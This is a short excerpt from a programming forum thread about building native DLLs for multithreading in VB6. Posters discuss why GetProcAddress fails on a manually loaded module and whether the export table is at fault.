    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by VanGoghGaming View Post
    Pretty sure you need to write your own GetProcAddress function as the official one works only with modules loaded via GetModuleHandle or LoadLibrary.
    I think it's something in the export table, but I still don't know, I haven't been able to move forward.

  33. #33
    Junior Member
    Join Date
    Aug 2022
    Posts
    19

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Do you have any ideas of what we can do?

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width